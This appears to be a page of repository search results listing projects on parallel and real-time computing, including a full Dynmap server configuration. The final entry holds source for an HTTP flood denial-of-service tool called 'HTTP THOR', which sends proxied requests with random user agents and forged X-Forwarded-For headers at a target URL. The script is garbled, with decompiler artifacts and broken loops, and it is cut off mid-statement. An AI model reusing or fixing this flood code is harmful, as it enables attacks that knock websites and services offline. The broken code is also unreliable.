104 skills found · Page 3 of 4
CarlWangChina / SongDriver Real Time Music Accompaniment Generation Without Logical Latency Nor Exposure BiasSongDriver uses a parallel mechanism of prediction and arrangement phases to achieve zero logical latency in real-time accompaniment generation, significantly reducing exposure bias.
Code-XYZxyz / Real Time Interferometric Measurement Control For Photopolymer Additive ManufacturingThis is a comprehensive MATLAB-based software platform developed for real-time measurement and feedback control of a custom mask-projection photopolymerization based additive manufacturing system (referred as "ECPL", i.e., Exposure Controlled Projection Lithography) using a lab-built interferometry (referred as "ICM&M", i.e., Interferometric Curing Monitoring and Measurement). A graphical user interface using the graphical user interface development environment (GUIDE) of MATLAB was created to implement the ICM&M method for the ECPL process. The software interfaces with the hardware of the ECPL system’s ultraviolet lamp and DMD, and the ICM&M system’s camera. It was designed to streamline the operation of the ECPL process with the aid of parallel computing that implements online both the ICM&M acquisition and measurement analysis as well as the feedback control method. The application logs the acquired interferogram video data, performs numerical computations for the ICM&M measurement algorithms and control law, saves the real-time data and measurement results for all voxels in the region of interest. Meanwhile, it displays interferogram frames and visualize the photocuring process without a substantial sacrifice in temporal performance of other key functions such as data acquisition and measurement & control analysis. The software could be extended to real-time process measurement and control for other additive manufacturing systems, for example, metal based additive manufacturing aided by in-situ thermal images analysis.
Nixy1234 / Dfdfd# All paths in this configuration file are relative to Dynmap's data-folder: minecraft_server/dynmap/ # All map templates are defined in the templates directory # To use the HDMap very-low-res (2 ppb) map templates as world defaults, set value to vlowres # The definitions of these templates are in normal-vlowres.txt, nether-vlowres.txt, and the_end-vlowres.txt # To use the HDMap low-res (4 ppb) map templates as world defaults, set value to lowres # The definitions of these templates are in normal-lowres.txt, nether-lowres.txt, and the_end-lowres.txt # To use the HDMap hi-res (16 ppb) map templates (these can take a VERY long time for initial fullrender), set value to hires # The definitions of these templates are in normal-hires.txt, nether-hires.txt, and the_end-hires.txt # To use the HDMap low-res (4 ppb) map templates, with support for boosting resolution selectively to hi-res (16 ppb), set value to low_boost_hi # The definitions of these templates are in normal-low_boost_hi.txt, nether-low_boost_hi.txt, and the_end-low_boost_hi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to vhi-res (32 ppb), set value to hi_boost_vhi # The definitions of these templates are in normal-hi_boost_vhi.txt, nether-hi_boost_vhi.txt, and the_end-hi_boost_vhi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to xhi-res (64 ppb), set value to hi_boost_xhi # The definitions of these templates are in normal-hi_boost_xhi.txt, nether-hi_boost_xhi.txt, and the_end-hi_boost_xhi.txt deftemplatesuffix: lowres # Map storage scheme: only uncommoent one 'type' value # filetree: classic and default scheme: tree of files, with all map data under the directory indicated by 'tilespath' setting # sqlite: single SQLite database file (this can get VERY BIG), located at 'dbfile' setting (default is file dynmap.db in data directory) # mysql: MySQL database, at hostname:port in database, accessed via userid with password # mariadb: MariaDB database, at hostname:port in database, accessed via userid with password # postgres: PostgreSQL database, at hostname:port in database, accessed via userid with password storage: # Filetree storage (standard tree of image files for maps) type: filetree # SQLite db for map storage (uses dbfile as storage location) #type: sqlite #dbfile: dynmap.db # MySQL DB for map storage (at 'hostname':'port' in database 'database' using user 'userid' password 'password' and table prefix 'prefix' #type: mysql #hostname: localhost #port: 3306 #database: dynmap #userid: dynmap #password: dynmap #prefix: "" components: - class: org.dynmap.ClientConfigurationComponent - class: org.dynmap.InternalClientUpdateComponent sendhealth: true sendposition: true allowwebchat: true webchat-interval: 5 hidewebchatip: false trustclientname: false includehiddenplayers: false # (optional) if true, color codes in player display names are used use-name-colors: false # (optional) if true, player login IDs will be used for web chat when their IPs match use-player-login-ip: true # (optional) if use-player-login-ip is true, setting this to true will cause chat messages not matching a known player IP to be ignored require-player-login-ip: false # (optional) block player login IDs that are banned from chatting block-banned-player-chat: true # Require login for web-to-server chat (requires login-enabled: true) webchat-requires-login: false # If set to true, users must have dynmap.webchat permission in order to chat webchat-permissions: false # Limit length of single chat messages chatlengthlimit: 256 # # Optional - make players hidden when they are inside/underground/in shadows (#=light level: 0=full shadow,15=sky) # hideifshadow: 4 # # Optional - make player hidden when they are under cover (#=sky light level,0=underground,15=open to sky) # hideifundercover: 14 # # (Optional) if true, players that are crouching/sneaking will be hidden hideifsneaking: false # If true, player positions/status is protected (login with ID with dynmap.playermarkers.seeall permission required for info other than self) protected-player-info: false # If true, hide players with invisibility potion effects active hide-if-invisiblity-potion: true # If true, player names are not shown on map, chat, list hidenames: false #- class: org.dynmap.JsonFileClientUpdateComponent # writeinterval: 1 # sendhealth: true # sendposition: true # allowwebchat: true # webchat-interval: 5 # hidewebchatip: false # includehiddenplayers: false # use-name-colors: false # use-player-login-ip: false # require-player-login-ip: false # block-banned-player-chat: true # hideifshadow: 0 # hideifundercover: 0 # hideifsneaking: false # # Require login for web-to-server chat (requires login-enabled: true) # webchat-requires-login: false # # If set to true, users must have dynmap.webchat permission in order to chat # webchat-permissions: false # # Limit length of single chat messages # chatlengthlimit: 256 # hide-if-invisiblity-potion: true # hidenames: false - class: org.dynmap.SimpleWebChatComponent allowchat: true # If true, web UI users can supply name for chat using 'playername' URL parameter. 'trustclientname' must also be set true. allowurlname: false # Note: this component is needed for the dmarker commands, and for the Marker API to be available to other plugins - class: org.dynmap.MarkersComponent type: markers showlabel: false enablesigns: false # Default marker set for sign markers default-sign-set: markers # (optional) add spawn point markers to standard marker layer showspawn: true spawnicon: world spawnlabel: "Spawn" # (optional) layer for showing offline player's positions (for 'maxofflinetime' minutes after logoff) showofflineplayers: false offlinelabel: "Offline" offlineicon: offlineuser offlinehidebydefault: true offlineminzoom: 0 maxofflinetime: 30 # (optional) layer for showing player's spawn beds showspawnbeds: false spawnbedlabel: "Spawn Beds" spawnbedicon: bed spawnbedhidebydefault: true spawnbedminzoom: 0 spawnbedformat: "%name%'s bed" # (optional) Show world border (vanilla 1.8+) showworldborder: true worldborderlabel: "Border" - class: org.dynmap.ClientComponent type: chat allowurlname: false - class: org.dynmap.ClientComponent type: chatballoon focuschatballoons: false - class: org.dynmap.ClientComponent type: chatbox showplayerfaces: true messagettl: 5 # Optional: set number of lines in scrollable message history: if set, messagettl is not used to age out messages #scrollback: 100 # Optional: set maximum number of lines visible for chatbox #visiblelines: 10 # Optional: send push button sendbutton: false - class: org.dynmap.ClientComponent type: playermarkers showplayerfaces: true showplayerhealth: true # If true, show player body too (only valid if showplayerfaces=true showplayerbody: false # Option to make player faces small - don't use with showplayerhealth smallplayerfaces: false # Optional - make player faces layer hidden by default hidebydefault: false # Optional - ordering priority in layer menu (low goes before high - default is 0) layerprio: 0 # Optional - label for player marker layer (default is 'Players') label: "Players" #- class: org.dynmap.ClientComponent # type: digitalclock - class: org.dynmap.ClientComponent type: link - class: org.dynmap.ClientComponent type: timeofdayclock showdigitalclock: true #showweather: true # Mouse pointer world coordinate display - class: org.dynmap.ClientComponent type: coord label: "Location" hidey: false show-mcr: false show-chunk: false # Note: more than one logo component can be defined #- class: org.dynmap.ClientComponent # type: logo # text: "Dynmap" # #logourl: "images/block_surface.png" # linkurl: "http://forums.bukkit.org/threads/dynmap.489/" # # Valid positions: top-left, top-right, bottom-left, bottom-right # position: bottom-right #- class: org.dynmap.ClientComponent # type: inactive # timeout: 1800 # in seconds (1800 seconds = 30 minutes) # redirecturl: inactive.html # #showmessage: 'You were inactive for too long.' #- class: org.dynmap.TestComponent # stuff: "This is some configuration-value" # Treat hiddenplayers.txt as a whitelist for players to be shown on the map? (Default false) display-whitelist: false # How often a tile gets rendered (in seconds). renderinterval: 1 # How many tiles on update queue before accelerate render interval renderacceleratethreshold: 60 # How often to render tiles when backlog is above renderacceleratethreshold renderaccelerateinterval: 0.2 # How many update tiles to work on at once (if not defined, default is 1/2 the number of cores) tiles-rendered-at-once: 2 # If true, use normal priority threads for rendering (versus low priority) - this can keep rendering # from starving on busy Windows boxes (Linux JVMs pretty much ignore thread priority), but may result # in more competition for CPU resources with other processes usenormalthreadpriority: true # Save and restore pending tile renders - prevents their loss on server shutdown or /reload saverestorepending: true # Save period for pending jobs (in seconds): periodic saving for crash recovery of jobs save-pending-period: 900 # Zoom-out tile update period - how often to scan for and process tile updates into zoom-out tiles (in seconds) zoomoutperiod: 30 # Control whether zoom out tiles are validated on startup (can be needed if zoomout processing is interrupted, but can be expensive on large maps) initial-zoomout-validate: true # Default delay on processing of updated tiles, in seconds. This can reduce potentially expensive re-rendering # of frequently updated tiles (such as due to machines, pistons, quarries or other automation). Values can # also be set on individual worlds and individual maps. tileupdatedelay: 30 # Tile hashing is used to minimize tile file updates when no changes have occurred - set to false to disable enabletilehash: true # Optional - hide ores: render as normal stone (so that they aren't revealed by maps) #hideores: true # Optional - enabled BetterGrass style rendering of grass and snow block sides #better-grass: true # Optional - enable smooth lighting by default on all maps supporting it (can be set per map as lighting option) smooth-lighting: true # Optional - use world provider lighting table (good for custom worlds with custom lighting curves, like nether) # false=classic Dynmap lighting curve use-brightness-table: true # Optional - render specific block names using the textures and models of another block name: can be used to hide/disguise specific # blocks (e.g. make ores look like stone, hide chests) or to provide simple support for rendering unsupported custom blocks block-alias: # "minecraft:quartz_ore": "stone" # "diamond_ore": "coal_ore" # Default image format for HDMaps (png, jpg, jpg-q75, jpg-q80, jpg-q85, jpg-q90, jpg-q95, jpg-q100, webp, webp-q75, webp-q80, webp-q85, webp-q90, webp-q95, webp-q100), # Note: any webp format requires the presence of the 'webp command line tools' (cwebp, dwebp) (https://developers.google.com/speed/webp/download) # # Has no effect on maps with explicit format settings image-format: jpg-q90 # If cwebp or dwebp are not on the PATH, use these settings to provide their full path. Do not use these settings if the tools are on the PATH # For Windows, include .exe # #cwebpPath: /usr/bin/cwebp #dwebpPath: /usr/bin/dwebp # use-generated-textures: if true, use generated textures (same as client); false is static water/lava textures # correct-water-lighting: if true, use corrected water lighting (same as client); false is legacy water (darker) # transparent-leaves: if true, leaves are transparent (lighting-wise): false is needed for some Spout versions that break lighting on leaf blocks use-generated-textures: true correct-water-lighting: true transparent-leaves: true # ctm-support: if true, Connected Texture Mod (CTM) in texture packs is enabled (default) ctm-support: true # custom-colors-support: if true, Custom Colors in texture packs is enabled (default) custom-colors-support: true # Control loading of player faces (if set to false, skins are never fetched) #fetchskins: false # Control updating of player faces, once loaded (if faces are being managed by other apps or manually) #refreshskins: false # Customize URL used for fetching player skins (%player% is macro for name) skin-url: "http://skins.minecraft.net/MinecraftSkins/%player%.png" # Control behavior for new (1.0+) compass orientation (sunrise moved 90 degrees: east is now what used to be south) # default is 'newrose' (preserve pre-1.0 maps, rotate rose) # 'newnorth' is used to rotate maps and rose (requires fullrender of any HDMap map - same as 'newrose' for FlatMap or KzedMap) compass-mode: newnorth # Triggers for automatic updates : blockupdate-with-id is debug for breaking down updates by ID:meta # To disable, set just 'none' and comment/delete the rest render-triggers: - blockupdate #- blockupdate-with-id #- lightingupdate - chunkpopulate - chunkgenerate #- none # Title for the web page - if not specified, defaults to the server's name (unless it is the default of 'Unknown Server') #webpage-title: "My Awesome Server Map" # The path where the tile-files are placed. tilespath: web/tiles # The path where the web-files are located. webpath: web # The path were the /dynmapexp command exports OBJ ZIP files exportpath: export # The network-interface the webserver will bind to (0.0.0.0 for all interfaces, 127.0.0.1 for only local access). # If not set, uses same setting as server in server.properties (or 0.0.0.0 if not specified) #webserver-bindaddress: 0.0.0.0 # The TCP-port the webserver will listen on. webserver-port: 8123 # Maximum concurrent session on internal web server - limits resources used in Bukkit server max-sessions: 30 # Disables Webserver portion of Dynmap (Advanced users only) disable-webserver: false # Enable/disable having the web server allow symbolic links (true=compatible with existing code, false=more secure (default)) allow-symlinks: true # Enable login support login-enabled: false # Require login to access website (requires login-enabled: true) login-required: false # Period between tile renders for fullrender, in seconds (non-zero to pace fullrenders, lessen CPU load) timesliceinterval: 0.0 # Maximum chunk loads per server tick (1/20th of a second) - reducing this below 90 will impact render performance, but also will reduce server thread load maxchunkspertick: 200 # Progress report interval for fullrender/radiusrender, in tiles. Must be 100 or greater progressloginterval: 100 # Parallel fullrender: if defined, number of concurrent threads used for fullrender or radiusrender # Note: setting this will result in much more intensive CPU use, some additional memory use. Caution should be used when # setting this to equal or exceed the number of physical cores on the system. #parallelrendercnt: 4 # Interval the browser should poll for updates. updaterate: 2000 # If nonzero, server will pause fullrender/radiusrender processing when 'fullrenderplayerlimit' or more users are logged in fullrenderplayerlimit: 0 # If nonzero, server will pause update render processing when 'updateplayerlimit' or more users are logged in updateplayerlimit: 0 # Target limit on server thread use - msec per tick per-tick-time-limit: 50 # If TPS of server is below this setting, update renders processing is paused update-min-tps: 18.0 # If TPS of server is below this setting, full/radius renders processing is paused fullrender-min-tps: 18.0 # If TPS of server is below this setting, zoom out processing is paused zoomout-min-tps: 18.0 showplayerfacesinmenu: true # Control whether players that are hidden or not on current map are grayed out (true=yes) grayplayerswhenhidden: true # Set sidebaropened: 'true' to pin menu sidebar opened permanently, 'pinned' to default the sidebar to pinned, but allow it to unpin #sidebaropened: true # Customized HTTP response headers - add 'id: value' pairs to all HTTP response headers (internal web server only) #http-response-headers: # Access-Control-Allow-Origin: "my-domain.com" # X-Custom-Header-Of-Mine: "MyHeaderValue" # Trusted proxies for web server - which proxy addresses are trusted to supply valid X-Forwarded-For fields trusted-proxies: - "127.0.0.1" - "0:0:0:0:0:0:0:1" joinmessage: "%playername% joined" quitmessage: "%playername% quit" spammessage: "You may only chat once every %interval% seconds." # format for messages from web: %playername% substitutes sender ID (typically IP), %message% includes text webmsgformat: "&color;2[WEB] %playername%: &color;f%message%" # Control whether layer control is presented on the UI (default is true) showlayercontrol: true # Enable checking for banned IPs via banned-ips.txt (internal web server only) check-banned-ips: true # Default selection when map page is loaded defaultzoom: 0 defaultworld: world defaultmap: flat # (optional) Zoom level and map to switch to when following a player, if possible #followzoom: 3 #followmap: surface # If true, make persistent record of IP addresses used by player logins, to support web IP to player matching persist-ids-by-ip: true # If true, map text to cyrillic cyrillic-support: false # Messages to customize msg: maptypes: "Map Types" players: "Players" chatrequireslogin: "Chat Requires Login" chatnotallowed: "You are not permitted to send chat messages" hiddennamejoin: "Player joined" hiddennamequit: "Player quit" # URL for client configuration (only need to be tailored for proxies or other non-standard configurations) url: # configuration URL #configuration: "up/configuration" # update URL #update: "up/world/{world}/{timestamp}" # sendmessage URL #sendmessage: "up/sendmessage" # login URL #login: "up/login" # register URL #register: "up/register" # tiles base URL #tiles: "tiles/" # markers base URL #markers: "tiles/" # Snapshot cache size, in chunks snapshotcachesize: 500 # Snapshot cache uses soft references (true), else weak references (false) soft-ref-cache: true # Player enter/exit title messages for map markers # # Processing period - how often to check player positions vs markers - default is 1000ms (1 second) #enterexitperiod: 1000 # Title message fade in time, in ticks (0.05 second intervals) - default is 10 (1/2 second) #titleFadeIn: 10 # Title message stay time, in ticks (0.05 second intervals) - default is 70 (3.5 seconds) #titleStay: 70 # Title message fade out time, in ticks (0.05 seocnd intervals) - default is 20 (1 second) #titleFadeOut: 20 # Enter/exit messages use on screen titles (true - default), if false chat messages are sent instead #enterexitUseTitle: true # Set true if new enter messages should supercede pending exit messages (vs being queued in order), default false #enterReplacesExits: true # Set to true to enable verbose startup messages - can help with debugging map configuration problems # Set to false for a much quieter startup log verbose: false # Enables debugging. #debuggers: # - class: org.dynmap.debug.LogDebugger # Debug: dump blocks missing render data dump-missing-blocks: false
Parallel-in-Time / Parallel In Time.github.iosources and generated static pages for
lilbodo13 / UniswapLabsHyper-parallelized, Decentralized, and Modular Architecture orchestrates high-performance order book processing in a Real-time Nexus Hub
AnkurMali / ContinualPTNCNWe introduce Local recurrent Predictive coding model termed as Parallel temporal Neural Coding Network. Unlike classical RNNs, our model is pure local and doesn't require computing gradients backward in time; thus computationally more efficient compared to BPTT and can be used for online learning
bbarker505 / Ddrp V2A final production version of the DDRP platform that includes cohorts, parallel processing, and improving mapping routines. The objective of the Degree-Day, establishment Risk, and Pest event mapping system (DDRP) is to predict phenology and climate suitability of invasive, biocontrol, and IPM species for the conterminous United States. DDRP is written entirely in the R statistical programming language (R Development Core Team 2019), making it flexible and extensible, and has a simple command-line interface that has already been adapted for online use. The platform can use a variety of gridded weather and climate data types for any historical (post-hoc), real-time, or future (downscaled GCM) time period. Model products include gridded (raster) and graphical outputs of number of completed generations, phenological/pest events, and climate suitability (i.e., establishment risk maps). The platform is described in a peer-reviewed paper in PLoS ONE (https://doi.org/10.1371/journal.pone.0244005).
suburaaj / Fpga Implementation Of Precise Convolutional Neural Network For Extreme Learning MachineFeed-forward neural networks can be trained based on a gradient-descent based backpropagation algorithm. But, these algorithms require more computation time. Extreme Learning Machines (ELM’s) are time-efficient, and they are less complicated than the conventional gradient-based algorithm. In previous years, an SRAM based convolutional neural network using a receptive – field Approach was proposed. This neural network was used as an encoder for the ELM algorithm and was implemented on FPGA. But, this neural network used an inaccurate 3-stage pipelined parallel adder. Hence, this neural network generates imprecise stimuli to the hidden layer neurons. This paper presents an implementation of precise convolutional neural network for encoding in the ELM algorithm based on the receptive - field approach at the hardware level. In the third stage of the pipelined parallel adder, instead of approximating the output by using one 2-input 15-bit adder, one 4-input 14-bit adder is used. Also, an additional weighted pixel array block is used. This weighted pixel array improves the accuracy of generating 128 weighted pixels. This neural network was simulated using ModelSim-Altera 10.1d and synthesized using Quartus II 13.0 sp1. This neural network is implemented on Cyclone V FPGA and used for pattern recognition applications. Although this design consumes slightly more hardware resources, this design is more accurate compared to previously existing encoders.
ashab015 / Harmonic FluidsFluid sounds, such as splashing and pouring, are ubiquitous and familiar but we lack physically based algorithms to synthesize them in computer animation or interactive virtual environments. We propose a practical method for automatic procedural synthesis of synchronized harmonic bubble-based sounds from 3D fluid animations. To avoid audio-rate time-stepping of compressible fluids, we acoustically augment existing incompressible fluid solvers with particle-based models for bubble creation, vibration, advection, and radiation. Sound radiation from harmonic fluid vibrations is modeled using a time-varying linear superposition of bubble oscillators. We weight each oscillator by its bubble-to-ear acoustic transfer function, which is modeled as a discrete Green's function of the Helmholtz equation. To solve potentially millions of 3D Helmholtz problems, we propose a fast dual-domain multipole boundary-integral solver, with cost linear in the complexity of the fluid domain's boundary. Enhancements are proposed for robust evaluation, noise elimination, acceleration, and parallelization. Examples of harmonic fluid sounds are provided for water drops, pouring, babbling, and splashing phenomena, often with thousands of acoustic bubbles, and hundreds of thousands of transfer function solves.
Manibarathi / FluoroCellTrackHigh-throughput droplet microfluidic devices with fluorescence detection systems provide several advantages over conventional end-point cytometric techniques due to their ability to isolate single cells and investigate complex intracellular dynamics. While there have been significant advances in the field of experimental droplet microfluidics, the development of complementary software tools has lagged. Existing quantification tools have limitations including interdependent hardware platforms or challenges analyzing a wide range of high-throughput droplet microfluidic data using a single algorithm. To address these issues, an all-in-one Python algorithm called FluoroCellTrack was developed and its wide-range utility was tested on three different applications including quantification of cellular response to drugs, droplet tracking, and intracellular fluorescence. The algorithm imports all images collected using bright field and fluorescence microscopy and analyzes them to extract useful information. Two parallel steps are performed where droplets are detected using a mathematical Circular Hough Transform (CHT) while single cells (or other contours) are detected by a series of steps defining respective color boundaries involving edge detection, dilation, and erosion. These feature detection steps are strengthened by segmentation and radius/area thresholding for precise detection and removal of false positives. Individually detected droplet and contour center maps are overlaid to obtain encapsulation information for further analyses. FluoroCellTrack demonstrates an average of a ~92-99% similarity with manual analysis and exhibits a significant reduction in analysis time of 30 min to analyze an entire cohort compared to 20 h required for manual quantification.
boredzo / LibtimingA library to make it really easy to time multiple implementations against each other, in parallel.
UMESHA123 / Embedded Projects1. Motion Detection and Alarm system Human Motion detection with 5m range, display Motion detected message on LCD, Bluetooth app and also indication using Buzzer and LED indicators. USE: PIR Sensor, Bluetooth, LCD Display, Buzzer and LED Indicator 2. Bluetooth Numeric printer Simple printer application using LCD and 7 segment Display. Send HEX values from 0 to F, ASCII values of a to z and ASCII values of A to Z and print it on LCD and 7 segment display USE: Bluetooth, 7 segment Display, LCD display 3. Motors control with Bluetooth and Push buttons DC Motors direction control using buttons and Bluetooth app. Use each of 4 buttons for direction control of Forward, Backward, Left, Right (robot application). Use LCD to print direction of motor rotation in real time. USE: 2 DC Motors, Push Buttons, Bluetooth with 4 buttons, LCD Display 4. Ultrasonic range Detector Detect the distance of the objects and print the sensor values in both CM and Inches on LCD and Bluetooth App. Use Ultrasonic to detect the distance and use Buzzer and LED Indicators when distance is <5 cm. Caution should be written on LCD and Bluetooth too. USE: Ultrasonic sensor, LCD, Bluetooth, Buzzer and LED Indicator. 5. PIR sensor enabled Automated Relays (Without Arduino) Without any microcontroller, use PIR sensor to detect the motion and actuate the relay for 5 minutes (tune the delay accordingly) and also a buzzer/LED indication throughout the relay ON USE: PIR Sensor, Relay, Buzzer/LED 6. PIR sensor enabled Automated Relays (With Arduino) By using PIR sensor to detect the motion and actuate the relay for 5 minutes (tune the delay accordingly) using Arduino and also send the caution messages to LCD and Bluetooth parallelly USE: PIR Sensor, Relay, LCD, Buzzer, Bluetooth 7. Automated Temperature controller Displaying the Temperature data (both *C and *F) on LCD and Bluetooth app in Realtime and whenever the temperature crosses 30*C, Actuate the relay (should be on till it will reach 25*C) and indicate through buzzer (only 2 sec ON) USE: LM35 temperature sensor, LCD, Relay, Bluetooth, Buzzer. 8. IR sensor enabled UP Counter Simple UP counter starts from 0 values and when ever the object detects, the counter value will be incremented. Print the counter values on LCD, Bluetooth app and 7Segment display (only up to 9) USE: IR sensor, LCD, 7 segment display, Buzzer and LED indicator.
MauriceGit / Marching Cubes On GPUA marching cube algorithm, that is executed in parallel on the GPU, using compute shaders. This will later enable a highly parallel creation of advanced landscape/terrain structures in potentially real-time (next project).
cepdnaclk / E16 4yp Neuromorphic ArchitectureNeuromorphic architectures are hardware architectures that use the biologically inspired neural functions as the basis of operation. Information processing based on spiking neuron architectures have caught considerable attention in recent years due to its low power consumption compared to traditional artificial neural networks. In this project, as the first stage, we are implementing parallel multiple processing elements based on RISC-V architecture to represent biological neurons. Single neurons can be implemented as a single processor with local memory access or since the spike time of biological neurons is in the millisecond order multiple neurons can be virtualized to a single processor. At the second stage of the process, we are expecting to design encoders and decoders to benchmark the architecture by solving classical machine learning problems.
dzitkowskik / Cuda Cuckoo HashingAn efficient data-parallel algorithm for building large hash tables of millions of elements in real-time using cuckoo hashing technique.
dfsp-spirit / Freesurfer Parallel ScriptsShell scripts to run FreeSurfer's recon-all in parallel on multi-core machines. Developed during my time in Christine Ecker's Lab at KGU.
rohandhupar1996 / Fraud Detection ProductionProduction-ready fraud detection system using TensorFlow autoencoders with optimized CPU-GPU parallel processing. Features efficient ETL pipelines, Docker containerization, and TensorFlow Serving for deployment. Processes financial transactions in real-time with scalable inference capabilities.
ntkdrm3k / Ddos#!/usr/bin/env python #coding: utf-8 #..:: > HTTP THOR < ::.. Mod By THOR import urllib.request as urllib import os import threading import time import random import sys import string import urllib import multiprocessing import hashlib import getpass import socket import http.client as http CONST_USERAGENT = [ 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3', 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0', 'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0', 'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0', 'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)', 'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)', 'Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00', 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14', 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14', 'Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02', 'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00', 'Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)', 'HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+', 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5', 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10', 'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'] def MyProcess(): '''MyProcess''' __qualname__ = 'MyProcess' def __init__(self, url, proxy_list, threads_number): multiprocessing.Process.__init__(self) self.url = url self.proxy_list = proxy_list self.threads_number = threads_number def run(self): for i in range(self.threads_number): Boomer(self.url, self.proxy_list).start() MyProcess = (NODE,28)(MyProcess, 'MyProcess', multiprocessing.Process) def Boomer(): '''Boomer''' __qualname__ = 'Boomer' def __init__(self, target_url, proxy_list): threading.Thread.__init__(self) self.target_url = target_url self.proxy_list = proxy_list self.prob = random.randrange(0, 10, 1) def randomIp(self): random.seed() result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) return result def randomIpList(self): random.seed() res = '' for ip in range(random.randint(2, 8)): res = res + self.randomIp() + ', ' return res[0:len(res) - 2] def randomUserAgent(self): return random.choice(CONST_USERAGENT) def run(self): method = 'GET' if random.randrange(0, 10, 1) >= 5: method = 'POST' proxy_selected = random.choice(self.proxy_list).split(':') head = method + ' ' + self.target_url + ' HTTP/1.1\r\n' host_url = self.target_url.replace('http://', '').replace('https://', '').split('/')[0] host = 'Host: ' + host_url + '/ \r\n' accept = 'Accept-Encoding: gzip, deflate\r\n' user_agent = 'User-Agent: ' + self.randomUserAgent() + '\r\n' connection = 'Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n' x_forwarded_for = 'X-Forwarded-For: ' + self.randomIpList() + '\r\n' http_request = head + host + user_agent + accept + x_forwarded_for + connection + '\r\n' while None: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((proxy_selected[0], int(proxy_selected[1]))) s.send(http_request.encode('utf-8')) print('@' + method + ' request make.') try: for i in range(3): s.send(http_request) except: tts = 1 continue proxy = random.choice(self.proxy_list).split(':') continue continue return None Boomer = (NODE,28)(Boomer, 'Boomer', threading.Thread) class Main: __qualname__ = 'Main' def __init__(self): if os.name in ('nt', 'dos', 'ce'): os.system('cls') os.system('title ..................::HTTP THOR::..................') os.system('color a') color = [ 'a', 'b', 'c', 'd', 'e', 'f'] os.system('color %s' % color[random.randrange(0, len(color), 1)]) else: 